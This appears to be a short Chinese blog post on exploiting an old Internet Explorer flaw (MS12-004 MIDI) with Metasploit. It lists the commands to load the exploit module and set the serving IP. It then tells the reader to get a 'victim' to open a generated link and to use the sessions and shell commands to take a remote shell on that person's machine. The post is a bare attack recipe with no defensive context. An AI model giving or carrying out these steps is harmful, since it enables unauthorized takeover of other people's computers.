ie漏洞

Posted 2020-10-23 xxrens

use exploit/windows/browser/ms12_004_midi

 

然后设置自己ip：

 

set SRVHOST 192.168.1.3

 

 

然后让被害者打开 

http://192.168.1.3:8080/E7x2fS5n

 

然后按下回车键

 

如果存在漏洞 就写入sessions

 

执行命令：sessions 查看是否有受害者中枪

如果有 就sessions -i 选择编号

然后再输入shell 就可以获得被害者的shell了